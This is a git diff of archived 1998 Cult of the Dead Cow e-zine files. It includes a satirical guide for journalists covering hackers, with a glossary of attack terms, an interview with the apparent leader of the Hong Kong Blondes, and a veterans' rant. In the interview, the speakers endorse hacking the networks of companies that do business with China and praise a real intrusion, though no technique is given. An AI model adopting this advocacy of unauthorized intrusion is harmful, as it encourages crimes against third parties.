whatever. More cutaway material. +  +  +computer hackers +---------------- +  +SETTINGS +  + - hacker in his habitat + - anti-Microsoft propaganda (posters, bumper stickers, etc.) + - pro-UNIX propaganda + - 2600 magazine + - Phrack +  + - anonymous hacker in nondescript hotel room + - features obliterated + - silhouette against scary backlight + - mosaic face +  + - hacker conventions + - Defcon + - Hohocon + - HOPE + - Summercon +  + - dumpster +  + - bank of payphones +  +  +INSERTS +  + - offbeat grooming & wardrobe + - unusual hairdos + - body piercings + - tattoos + - 2600 t-shirt + - leather jacket +  + - equipment + - computers, plural + - keyboards + - CRTs + - misc. gadgetry +  + - software tools + - L0phtCrack + - Satan + - Back Orifice +  + - internet chat rooms + - #hack + - #cDc +  +  +law enforcement officials +------------------------- +  +FBI agents, Secret Service agents, local police officers, anyone from the +Department of Justice, local district attorneys, etc. +  +  +SETTINGS +  + - server room + - cubicle +  +INSERTS +  + - building entrance + - nametag + - badge + - gun + - bookshelves +  +  +security experts +---------------- +  +These come in two flavors: computer security consultants, and computer +privacy advocates. +  +Security consultants (usually themselves former hackers or law +enforcement) are paid consultants who sell their insight into the +methodology and ideology of the typical hacker. Usually self-employed. +  +Computer privacy advocates are private individuals who speak out publicly +regarding threats to personal liberty in cyberspace. Favorite topics +include: export restrictions on certain cryptographic materials, the +validity of various data encryption schemes, and the potential +vulnerability of critical information systems. +  +  +SETTINGS +  + - server room + - telephone equipment room + - cubicle +  +INSERTS +  + - storefront / sign + - bookshelves +  +  +  +THE CLOSING +  +Nothing special here. Just a few sentences that re-emphasize the topic. +Remember that no matter the precise issue, the general message should be +to fear the relentless and unstoppable legion of computer hackers. +  +Perhaps you could close with an epigram. In which case, you should crack +open Bartlett's Quotations. Try one of these topics: COMPUTER, DANGER, +MENACE, PERIL, RISK, THREAT, TREACHERY, VULNERABLE. +  +
+APPENDIX A - STATISTICS +  +<http://cnn.com/TECH/computing/9804/06/computer.security/> +Nearly 80 percent of U.S. businesses have been victims of computer crimes. +58 percent of Fortune 1000 companies have experienced computer +break-ins. 18 percent of that group suffered more than $1 million in losses. +  +  +<http://www.defcon.org/TEXT/5/larrylange-eetimes-winn.html> +According to the FBI, 122 countries across the world currently have +online hacking capabilities. +  +We know that in the neighborhood of 20 million hacks a year are occurring +worldwide. +  +  +<http://www.technopolitics.com/scripts/tp06-06-97.html> +The average cyberheist nets $250,000 with a less than one +percent rate of conviction. +  +Only 17 percent of the major corporations and financial institutions that +have been intruded actually report it. +  +75 percent of the Fortune 500 companies have been successfully penetrated. +The average loss that they concede is about $100,000. +  +The FBI estimates that the total losses from these electronic rip offs +range from a rock bottom figure of $500 million a year up to $10 billion. +  +  +cDc Media List +_Rocky Mountain News_, August 18, 1996, "Air Force battles computer hackers", +pg 42A. Hundreds of thousands of times a year, the Cyberwarrior +[the U.S. Air Force Information Warfare Center] defends the nation's secrets +from the members of the Legion of Doom and the CULT of the DEAD COW in a +battlefield that spans the globe. +  +
+APPENDIX B - INTERVIEW SUBJECTS +  +Try these organizations' web sites for up-to-date contact info. +  +  +HACKERS +  + - 2600 Magazine + <http://www.2600.com/> +  + - Chaos Computer Club + <http://www.ccc.de/> +  + - Cult of the Dead Cow + <http://www.cultdeadcow.com/> +  + - L0pht Heavy Industries + <http://www.l0pht.com/> +  + - New Hack City + <http://www.newhackcity.net/> +  + - Phrack + <http://www.phrack.com/> +  + - r00t + <http://www.r00t.org/> +  +  +LAW ENFORCEMENT +  + - Federal Bureau of Investigation + <http://www.fbi.gov/> +  + - Secret Service + <http://www.treas.gov/usss/> +  + - San Jose Police Department + <http://www.sjpd.org/> +  +  +SECURITY EXPERTS +  + - Cypherpunks + <ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html> +  + - Electronic Frontier Foundation + <http://www.eff.org/> +  + - Bruce Schneier + <http://www.counterpane.com/> +  + - Tsutomu Shimomura (tsutomu@sdsc.edu) + <http://www.takedown.com/> +  + - Cliff Stoll (stoll@ocf.berkeley.edu) + <http://www.ocf.berkeley.edu/~stoll/> +  +
+APPENDIX C - VERNHACKULAR +  +These are some of the more common vocabulary items. +  +  +ATTACK: a specific tactic designed to generate some kind of malfunction, +usually to grant or deny computer access -- syn. EXPLOIT +  +BACK DOOR: Leaving behind a hidden or nonobvious method to regain system +access during subsequent visits +  +BLACK HAT: a malicious hacker who defies the Hacker Ethic -- ant. WHITE HAT +  +CARDING: credit card fraud, typically for mailorder goods +  +CRACKER: contemptuous term for hacker, or abbrev. for password cracker +  +DENIAL OF SERVICE: an attack designed to prevent the productive use of a +computer system, by overworking the computer beyond its operational limits +  +DUMPSTER DIVING: looking through the garbage for discarded equipment, +useful information, or other materials -- syn. TRASHING +  +EXPLOIT: see attack +  +HACKER: a person skilled or expertised in methods of hacking computer +systems +  +HACKER ETHIC: an informal code of conduct designed to preserve the +integrity of a hacked computer system and its contents, the terms of +which generally prohibit the contamination or destruction of valuable +data or other resources +  +HACKING: the process of gaining unauthorized access to a computer system +  +HACKTIVISM: a term first coined by THE CULT OF THE DEAD COW to describe one +brand of activism practiced by the HONG KONG BLONDES; a policy of hacking, +phreaking, or creating technology to achieve a political or social goal +  +HANDLE: a hacker's chosen alias, or nom-de-hack +  +MAN IN THE MIDDLE: an attack wherein a malicious agent seeks to intercept +communications between two computers and rewrite certain message contents +  +OWNED: a computer whose security has been entirely neutralized by a hacker +  +PACKET SNIFFER: a computer program designed to reveal the contents of all +network traffic within earshot of the computer, not just the data bound +for that particular system +  +PASSWORD CRACKER: a computer program designed to extract the passwords of +a given system's user database, usually employing a method of brute force +or dictionary comparison +  +PHREAK: a person skilled or expertised in methods of phone phreaking +  +PHREAKING: manipulating the telephone system in order to reroute phone +calls, avoid billing, or otherwise defraud the phone company +  +SECURITY THROUGH OBSCURITY: the tactic of protecting something by keeping +secret all its details +  +SNIFFER: abbrev. for packet sniffer +  +SOCIAL ENGINEERING: any means of convincing someone to willingly furnish +information which is unavailable to the general public, usually by posing +as someone with a legitimate need +  +SPOOFING: making it appear that data originating from an untrusted +computer is actually coming from a trusted one +  +TRASHING: see dumpster diving +  +TROJAN HORSE: any piece of software intentionally infected with a virus, +and purposely provided to others +  +VIRUS: a small computer program devised to be undetectable and duplicate +itself +  +WAREZ: illegally-duplicated computer software products +  +WHITE HAT: a mediagenic hacker who adheres to the Hacker Ethic -- ant. +BLACK HAT +  +  +  + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Omega __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo +  + http://www.cultdeadcow.com +  +  +  +  +  + 
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The Longer March + by Oxblood Ruffin + 7/15/1998-#356 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +"Adventure, exploration, discovery, human courage and cowardice, ecstasy and +triumph, suffering, sacrifice, and loyalty, and then through it all, like a +flame, an undimmed ardor and undying hope and amazing revolutionary optimism +of those thousands of youth who would not admit defeat either by man or nature +or God or death -- all this is and more seemed embodied in the history of an +odyssey unequaled in modern times." + -- Edgar Snow, _Red Star over China_ + + This interview was conducted at Ted's Auto Collision Bay and Fine + Dining in Toronto, on July 7th, 1998. Blondie Wong (hereafter, B) + is the Director of the Hong Kong Blondes and Oxblood Ruffin + (hereafter, O) is the Foreign Minister of the + CULT OF THE DEAD COW (cDc). + +[Editor's note: This interview was referred to in Arik Hesseldahl's +July 14, 1998 WIRED NEWS article, "Hacking for Human Rights" + +and the Toronto Star's July 23, 1998 article, + +"Computer Hacking New Tool of Political Activism".] + +O: I'm happy that this is finally coming together. I've had all kindsa + people beggin' me to speak with you. One journalist even emailed me to + suggest that he would fly anywhere in the world where I could blindfold + him and put him in the trunk of a car, then drive him to some secret + rendezvous where he would interview you. +B: It sounds like something from a movie. Are you sure he wasn't joking? +O: No. He was very sincere. I was tempted to take him up on his offer and + drive him to Detroit. "Hey, babe. Blondie couldn't make it but I've + managed to dig up Jimmy Hoffa for you." +B: I know that was a joke -- but I don't know what kind. +O: O.K., before we begin, I've gotta ask you something? +B: Yes. +O: What's up with you and those Prada loafers. Have you been reading + _Wallpaper?_ Are you dating a model? Give it up hacker man. +B: Enough. Clothes aren't important. +O: If that were true you wouldn't wear D&G suits. Face it. You're one + stylin' revolutionary. +B: I own two suits. Everything else can be put into a suitcase and that + includes my computer and personal items. I own very little. +O: You like to travel light. +B: I have to travel light. +O: You make it sound like someone is after you. +B: You know who is after. +O: O.K. Do you believe that the Government of China is looking for you? +B: I know so. +O: How do you know? +B: Our sources have alerted us. And there was the incident last August. +O: Pass. Do you still have armed guards. +B: Yes, over there. +O: Charming. He looks like a fucking troll. +B: Don't look at him. He doesn't like ... +O: Biscuits? +B: What? +O: He doesn't like white guys? +B: I am not always given suitable people. +O: Given? +B: Yes, our arrangement with [deleted] ... +O: Whoa! You shouldn't use their name. +B: Well, we have a working relationship with a group of people who are even + more outside of the law than we are. +O: That works. The enemies of my enemies are my friends. +B: What does that mean? +O: I think it's a quote from Themistocles. It means that sometimes we make + alliances based on mutual conflict with a third party. Like the U.S and + Iran. They have very little affection for each other but even less for + Iraq. +B: Just so. We share the same enemy. I like that. +O: And these law breakers provide you with armed guards? +B: That and other things. I prefer more to use their help to move people in + and out of the country. +O: You mean in and out of China? +B: Yes. A few months ago one of our people was picked up ... +O You mean Lemon Li? +B: Yes, Lemon was questioned in Beijing. She was released after a few hours + but I couldn't take any chances so our associates moved her out of + China. She is in Paris now. +O: Having a woman as the head of technical operations is sort of a radical + concept for a group of hackers. +B: Half of our members are women. Half of the people in the world are + women. Lemon is our best person. The best people go where they're + needed. That's our policy. +O: How'd she get the name Lemon? Is it from that song by U2? +B: No. She loves Meadowlark Lemon, the basketball player. She got an old + videotape of the Harlem Globetrotters and played it until it turned into + a snow storm. +O: Cool. So did moving Lemon to Europe disrupt the Blonde's agenda? Has it + made things more difficult? +B: Difficult? No. She is acting more like traffic co-ordinator now. Much of + our work is happening from the inside and she steers our efforts in the + right direction. +O: What do you mean that work is being done from the inside? The inside of + what? +B: We, the Blondes have grown by about twenty members from this time last + year. Many of the newer members are government employees. Technical + people mostly. +O: Get the fuck outa here. Are you saying that these people are like moles, + that they're members of the CP? +B: Yes. +O: Holy shit. That is some serious spy candy. +B: What? +O: Nothing. It's been an interesting year. I've noticed in the computer + underground that there are a few younger groups who cite the Hong Kong + Blondes as an inspiration. There's been a lot of activity, especially + around Analyzer's crew. He seems to have influenced people who claim to + be hacking for some higher purpose. They say they want to fight child + porn and other things. Do you have an opinion about this? +B: There has been a shift in consciousness, I believe. Younger people have + a great deal of talent although they can be very awkward. But the point + is, I think they are different from the generation of hackers before + them. They want the recognition and attention, but they also want to do + something to contribute to change things in a positive way. In general, + I think what they are doing will grow and turn into something that makes + a difference. +O: Do you think the BARC [nuclear research facility in India] break-in + represents some kind of progress? Is this the sort of thing that you're + talking about? +B: Yes. That's a good example. Nuclear proliferation is still a tremendous + threat to international security, but since the fall of the Berlin Wall + and the commercial development of Russia and the other states, there's + this attitude that everything is golden. Somehow people think that the + bombs have disappeared because we don't read about them in the papers + like we used to. At any rate, I view the BARC intrusion as something + positive because it will draw attention to the situation and cause more + discussion about a serious issue. +O: Were you political in school, in China? Is that where you got your + orientation? +B: I became aware of politics at an early age. But it was just awareness. + I was never politically active, if that is how you mean it. Politics + for me has always been something disgusting, something I didn't even + want to understand. +O: Woody Allen once joked that a politician was about two steps below a + pedophile. +B: That must make him feel slightly superior to a politician. But yes, + that is more or less my feeling too. +O: So when you say that you were politically aware, what do you mean by + that? +B: In China it is impossible not to be aware of politics. The Party is + everywhere. Meetings, criticism, people being denounced. And the fear, + that is really the big thing. Imagine: you can't speak freely. Or + you're always wondering who is going to report you for having contrary + opinions. What everyone in the West takes for granted is a luxury in + China. When I was younger I never really wanted to change anything. I + just wanted to remain above it. Sounds selfish, I know. But for me, my + goals have always been more -- how is it? -- more spiritual. I was, + even now, more influenced by persons outside of political life. +O: I understand, but even the great social activists are inherently + political. Gandhi, Martin Luther King, they were both stuck with + politics. +B: Fortunately they had the advantage of dealing with democratic + institutions. My opponents would be very happy to put a bullet in the + back of my head. +O: Yet you still do this work. Why? +B: I feel that I have no choice. I have the capacity to lead and to + organize. And there is, well, I think I still have a lot of anger in me. + My father was murdered during the Cultural Revolution. He was dragged + out of our home by the Red Guard and stoned to death right in front of + us. +O: Damn. Who was us? Your family? +B: Yes. My mother and myself. After that we went to live with my uncle. +O: So why did they come to your house? Why did they want your father? +B: One of the girls from the Red Guard denounced him. So stupid. He had + given her mother some calligraphy, something Buddhist, a prayer or + something, and that was what made my father an enemy of the people. + I think they had really just come to humiliate him, but it got out of + hand. +O: So you're a kid. Your father has been, well, murdered, and you and your + mother go to live with your uncle. What can you tell me about that? +B: It was very difficult for everyone, especially my mother. She became + excessively paranoid and eventually refused to leave the house. I had + to take care of her most of the time. When I went to school a neighbor + would come to help. My uncle is a bachelor and there was no one else in + the house. Plus he often traveled. +O: What did he do? +B: That is hard to answer. He is very gifted at languages. I think that's + all I can say. I became fluent in English because of him. Yes. But I + think that's all .. +O: Understood. And school? Growing up? That sort of stuff. +B: I was asleep in school mostly. Quite bored. School, learning, these + things have always been easy for me. I look at a book, once, twice, and + that's it. I understand, and it stays. I never had to study. So the + disadvantage was that I was always bored, looking out the window, you + know. Sports were the only thing that kept me from going crazy. I + played soccer at school, but mostly, I practiced martial arts. Anyway, + it was school, sports and running home to help out. That was my life. +O: Man. Was there anything, did you ever goof off, you know, do dopey shit + with your friends when you were a teenager, or were you pretty serious? +B: Let's see. Yes. When I was fifteen I fell under the spell of Bruce + Lee. Everyone thinks of him as this great martial artist, and that is + true, but what most people forget is how funny he was. He had been a + child actor in Hong Kong and was good at falling-down humor. You know, + when you're always tripping and falling on your ass, like what Jackie + Chan does. +O: You mean sight gags? Slapstick? +B: Yes, slapstick. I found these really ugly glasses with lenses so thick, + they made your eyes look like they were under a magnifying glass. I + used to put them on and talk really loud, asking stupid questions, + tripping, and repeating the same stupid question. It was ridiculous but + people laughed. So one day we, there were three of us, we decided to go + into a bakery and try out the routine. I went in and asked directions + on how to get to the bakery we were already in. The owner just looked + at me and said that I was there, that I was in the place I was looking + for. Then I asked the same question and started bumping into things. + And this poor man, he's just looking at me like I'm an idiot. And again + he explained that I'm in the right place. Meanwhile my friends were + stealing pastries. We did that at a few different places until we + almost got caught. I like doing imitations. I can do Kramer coming + through the door. +O: Yes. I've seen the Kramer. Love the Kramer. The Kramer is good. +B: There. Everyone does that. I always hear people talking, like from + Seinfeld. +O: Yeah. It can be a bit dopey. O.K. So you're a normal kid and you do + some bakery capers. University. What was that like? +B: Well, the hardest part was getting in. At the end of high school + there's something called The Big Test. It's an examination that lasts + several days and determines your future. There is nothing like it here. + The pressure for students is unbearable. It's study, study, study -- + for months. Before, I was bragging about not studying, but for that + test I did. I was accepted at [a university] where I did an + undergraduate degree, and for my next degree I studied abroad, you know, + graduate work, research, and so. I wanted to teach. I was lucky about + getting accepted into [a university in the UK], so things seemed on the + right course. +O: But things didn't stay on course. What provoked you to change your + plans? +B: A massacre. I had finished my studies and was preparing to go on + short vacation through Europe before returning to China. This was just + as the democracy movement was beginning to swell in the spring of 1989. + We all -- not just the Chinese students, but everyone -- we watched + television reports [about the demonstrations] with tremendous + enthusiasm. We were getting faxes, email, phone calls. It was serious, + but at the same time, it was almost like a big party. We were amazed at + how much support there was for the students from the people. And there + was a lot of excitement around Gorbachev and his visit to Beijing which + took place during that time. So many factors, you know. But as the + final days approached I began to feel very uncomfortable, almost like + sick. When the tanks went into the square and began shooting and + running over people it was like I was a little boy again, watching my + father being killed. I couldn't believe it -- so terrible. Then the + big lie. The government's first response was that it never happened. + I was at a student pub in London when this was broadcast. An + engineering student from Shanghai just went berserk and destroyed the + television. So much grief, so much anger. +O: And it was shortly after this that you arrived in Canada? +B: Yes. I knew some students at Concordia [in Montreal] who were very + helpful to get me a visa. My first two years here were very dark, very + depressing. Something inside me broke and I could not get going. There + was first the shock of the killings, then realizing that I could just + not go back. All my plans were dashed. I was worried about my mother, + you know, so many things. I couldn't work in my field. I was working + in a convenience store, in the Plateau [in Montreal]. It was ghastly. +O: And you ended up in Toronto. How did that happen? +B: I met a Chinese businessman who took me under his wing. I learned how to + make money, and ended up making a lot of it. Real estate, investing, + buying futures. I did something totally different from my training, and + it just sort of snapped me out of it. I moved to Toronto where the + Chinese community is much larger. I met you shortly after I arrived. The + rest is history. +O: Leave me out of the history. I'm justa middle man. +B: Don't be ridiculous. +O: Look, let's just move along. People aren't interested in this stuff. +B: No. That isn't right. I must acknowledge the help we have gotten, the + direction. You showed me everything about Western hackers. Chaos, Legion + of Doom, MoD, everyone. When I understood how far the Cult of the Dead + Cow reached into the hacker world, and how things were organized, I was + able to take the best and use it for our struggle. +O: Well, that's kind, but really, the hacker community can be very chaotic. + It's not what I'd call a well oiled machine. There is no discipline, not + like with the Blondes. +B: We have different agendas. But still, if it weren't for the hackers, we + wouldn't be as far ahead as we are. We owe you a lot. +O: Alright, then. On behalf of alla the hackers that ever lived, I accept. + Cheers ... Earlier you mentioned that you thought that there was a sort + of shift, that younger hackers seemed to want to use their skills to + contribute to some sort of social change. I keep getting asked how + people can help the Hong Kong Blondes, how they can contribute, and I + guess now would be a good time to ask you that same question. What can + people do, hackers, members of the general public, anyone, what can they + do to help the Blondes? +B: You are the king of set ups. We've already talked about this. +O: Shut up, jackass. Just pretend like you've heard this for the first + time. +B: Alright, the first thing is this. There are many ways to get involved to + support the struggle for human rights in China. Becoming aware is the + beginning. Just talking about it is important, educating yourself. But + if we are talking about the hacker community, you know, what they can + do, this really is a matter of personal choice. I think that if people + want to participate they should use the skills that they have. That is + all they can do. +O: That's pretty oblique. What about the Yellow Pages? I think now would be + a good time to talk about them. +B: Sorry. Yes, the Yellow Pages. They are mostly students in the United + States and Europe. +O: What, no Canadians? Damn! +B: And Canadians ... +O: Yes! +B: ... who will be using the Internet to help us. +O: And how will the little buggers be doing that? +B: Alright. This requires a little background. One of the reasons that + human rights in China are not further ahead is because they have been + de-linked from American trade policy. What this means is that when human + rights considerations were associated with doing business with the + United States, at least there was the threat of losing trade relations, + of some form of punishment. Now this just doesn't exist. Beijing + successfully went around Congress and straight to American business, so + in effect, businessmen started dictating foreign policy. There are huge + lobbies in Washington that only spend money to ensure that no one + interferes with this agenda. It's very well organized, and it doesn't + end there. Henry Kissenger ... +O: Former Secretary of State under Richard Nixon, etc. +B: Yes, Kissenger is now convinced that he is running Chinese foreign + policy and has made obscene amounts of money by connecting American + businesses to Chinese markets, and at the same time, he's denouncing any + kind of linkage between trade and progress on human rights issues as an + intrusion into national sovereignty. Every other former Secretary of + State and National Security Advisor for the past twenty-five years is + now working for Kissinger and doing the same thing. And Bill Gates is + another offender. In 1996 he publicly endorsed China's position that + human rights in China should not even be discussed at an annual meeting + of the United Nations Commission on Human Rights. By taking the side of + profit over conscience, business has set our struggle back so far that + they have become our oppressors too. +O: So, shall we come back to the Yellow Pages? +B: Yes. The Yellow Pages will make life challenging for American companies + doing business with China. +O: And how will they do that? +B: By exposing them. By naming them and possibly worse. +O: And by possibly worse, you mean what? +B: Let us be frank here. Many of these companies have computer networks and + there are a lot of members in the Yellow Pages who have excellent + hacking skills. +O: I see. Let your fingers do the stalking. +B: What? +O: Nothing. How can people get involved? Is membership in the Yellow Pages + open, closed? What? +B: Membership is open to anyone who wants to get involved. There are groups + forming in many places. Anyone can start a new cell, but the main thing + is to be careful. No foolish gestures. +O: And by holding these companies' feet to the fire, this will help human + rights in China? +B: You tell me. You understand how these things work. +O: O.K., it won't change the world but it will raise the issue in a + different way and that is important. George Kennan once remarked that + the smallest amount of progress in international relations was + significant even though it might not seem like much on the surface. In + the same way, I think that something will come out of this venture + because it's just wacky enough to grab people's attention. I mean, who + would put hacking corporate networks together with human rights in + China? It's pretty stretched out, but it makes perfect sense to me. I + think that journalists, at least the ones that don't work in Washington, + will take a look at this and start asking questions. +B: We will be attacked. This idea will be attacked like anything. +O: I know, but I don't really care. It is better to light a candle than to + curse the darkness. Look, we have to help with the strategy because it + sure as hell isn't coming from the political classes. Look at Bill + Clinton. He makes his nice feel-good trip to China and comes back + gushing about, one day there'll be democracy in China. The guy's an + idiot. I mean, if I want advice from the President about getting a blow + job from a young girl, I'm all ears, but about the chances for political + reform in China, no way. He doesn't have the competence or the moral + authority to speak about these things. +B: You are not a fan of Mr. Clinton's. +O: Oh, man, you know I'm not. But let's get back to the Yellow Pages. +B: Alright. What shall we say? +O: Who will control them, or at least, where will their direction come + from? +B: They will direct themselves. This will be a disintermediated engagement. +O: Damn, nice lingo. And how will they know who to go after? How will the + Yellow Pages identify companies that do business with China? +B: They'll have to ask. They'll have to educate themselves. The Web is a + remarkable tool for doing research and posting one's findings. Just look + at what it did for Netscape. +O: Yeah, the Netscape revolution. We must all study Chairman Jim thought. +B: That is correct. +O: So really, what we're saying is that we're basically gonna turn alla + these kids loose on American companies. That could get messy. +B: We are turning no one loose. The Yellow Pages are independent of us [the + Hong Kong Blondes] and the cDc. +O: Yeah. We have enough problems with, um, certain kinds of attention. The + [Yellow] Pages are their own thing. +B: That is correct. But coming back to, how is it you said, that it could + get messy? Human rights is an international issue, so I don't have a + problem with businesses that profit from our suffering paying part of + the bill. Perhaps then they will see the wisdom of putting some + conditions on trade. But I think, more importantly, many young people + will become involved in something important on their own terms. I have + faith in idealism and youth. It took us a long way in 1989. I believe + that it will help us again. +O: Amen. O.K., one last thing, then let's go eat. +B: Yes? +O: We, the Cult of the Dead Cow, are complete media whores, but the Hong + Kong Blondes are something very different. Why did you agree to this + interview? +B: Not for the kind of publicity you might think. We just need to have + people know that we exist for now. It is like an insurance policy you + could say. If anyone [of the Hong Kong Blondes] were arrested the + possibility of execution or long imprisonment is quite real. In China, + so much happens quietly, or behind closed doors. If someone is known, + sometimes just that is enough to keep them alive, or give hope. So for + that reason I'm saying we exist that certain things, we are doing. It is + not for fame, no. So this insurance policy, it is something that no one + wants to use, but sometimes it is good to take precautions. This is my + first and last interview. Now I can go back to being invisible. +O: Not before you pay for your beer, jerky boy. Anyway, it's been a slice. + Any parting words? Advice for the kids, rules to live by, whatever? +B: I've said enough. Let's go. + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Omega __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + +http://www.cultdeadcow.com + diff --git a/textfiles.com/groups/CDC/cdc-0357.txt b/textfiles.com/groups/CDC/cdc-0357.txt new file mode 100644 index 00000000..df72b02c --- /dev/null +++ b/textfiles.com/groups/CDC/cdc-0357.txt @@ -0,0 +1,97 @@ + cDc #357 + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + ...presents... Flag Rant + by The Nightstalker + 7/15/1998-#357 + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +This Modern World is copyright 1998 by Tom Tomorrow. + +-------------------------------------------------------------------------------- + "Desecrating"(?) The Flag + +I'm getting sick and tired of all these "Patriots" who fulminate about the +dozen-odd flag burnings a year, and how The Precious Symbol Of Our Country +NEEDS the protection of a Constitutional Amendment! + + Sod Off! + +You want to know what the real desecration of the flag is? It's that there are +veterans of WW II, Korea, Viet-Nam, et al, who are homeless. These men and +women who volunteered to offer "that last, full measure of devotion" in the +defense of their country, are reduced to sleeping on the streets. You over-fed, +knee-jerk patriots cross the fucking street to avoid that ragged, smelly +individual pleading for spare change. You don't care that he helped liberate +South Korea inch by inch, under unspeakable hardships, or that he answered a +call to fight for freedom in Viet-Nam, or that he got dosed by nerve gas in +Iraq. No, you fat fuckers don't give a rat's ass about him, but you all PISS +yourselves over the thought that some bozo might burn a flag and that the +Federal Government needs to come down on him with both jackbooted feet. + +So SCREW THE FLAG and WIPE MY ASS WITH IT! As long as there are veterans who +don't have a safe place to sleep, food to eat, and the medical, physical and +psychiatric care they deserve, then the flag is being desecrated far worse than +anyone could do with a can of naptha and a Zippo! + +The Government has always considered veterans as a disposable commodity. Use +them and then throw them away. From the very first, the surviving veteran has +always been the first to be screwed by the Feds, and the last to be succored. +Even today, the bullshit from the Feds about Gulf War Syndrome is sickening. +These men and women are sick, they are dying, they are giving birth to +seriously deformed children. This is not all in their minds. The Government +just wants to weasel out of paying for their care and treatment. + +That the surviving veterans of America's wars do not take up arms and march on +D.C., DEMANDING redress of their grievances amazes me. + +Well, not really. They tried that once before, right after World War I. +Something called the "Bonus March." When they reached Washington, D.C., they +wound up being FIRED UPON by the same Army they once served in, on the direct +orders of the President. + +One day, though, the Hired Help in the White House, on the Hill and in the +Pentagon, will be called forth (hopefully at bayonet point) to answer for their +sins of omission and commission. + +And then, perhaps, the Government-Sanctioned Desecration of the Flag will +cease. + +Don't hold your breath waiting for it to happen, though. + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Omega __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + http://www.cultdeadcow.com + diff --git a/textfiles.com/groups/CDC/cdc-0360.txt b/textfiles.com/groups/CDC/cdc-0360.txt new file mode 100644 index 00000000..19aa32c5 --- /dev/null +++ b/textfiles.com/groups/CDC/cdc-0360.txt @@ -0,0 +1,409 @@ + cDc #360 + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + ...presents... The Journalist's Cookbook + Version 1.0 + by Reid Fleming + 7/15/1998-#360 + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + [Editor's note: This is a living document. It will be updated from time +to time, and its version number incremented to reflect major and minor +changes.] + Eventually it happens to everybody. The producer asks you to put +together a segment on computer crime or the hacker subculture. Sounds easy +enough. You already have a couple ideas. And luckily you have that +friend-of-a-friend who knows that hacker who went to jail. + But once you start actually writing, you realize that your script is +sounding as trite as anything you've ever seen. No matter how much you +try to jazz it up, it looks like every other hacker spot you've seen. +Pretty soon you're downright desperate for ideas. + Here's a suggestion: don't agonize over what will end up being just +another derivative news piece anyway. Instead, let this document help +you produce yet another mediocre story about computer hackers. + TABLE OF CONTENTS + TITLE +TOPIC +IMPENDING THREATS +STATISTICS +THE LEAD +MOVIE CLIPS +DEFINITIONS +MONEY SHOTS +ANIMATIONS +INTERVIEWS +SHOOTING YOUR SUBJECTS +Computer Hackers +Settings +Inserts +Law Enforcement Officials +Settings +Inserts +Security Experts +Settings +Inserts +The Closing + Appendix A: Statistics +Appendix B: Interview Subjects +Appendix C: Vernhackular + +-------------------------------------------------------------------------------- +TITLE + Start by selecting the working title of your piece. In many news +organizations, the title isn't even chosen by the producer of the piece, +so it's often a waste of time to come up with something good, just to +have it retitled at the last 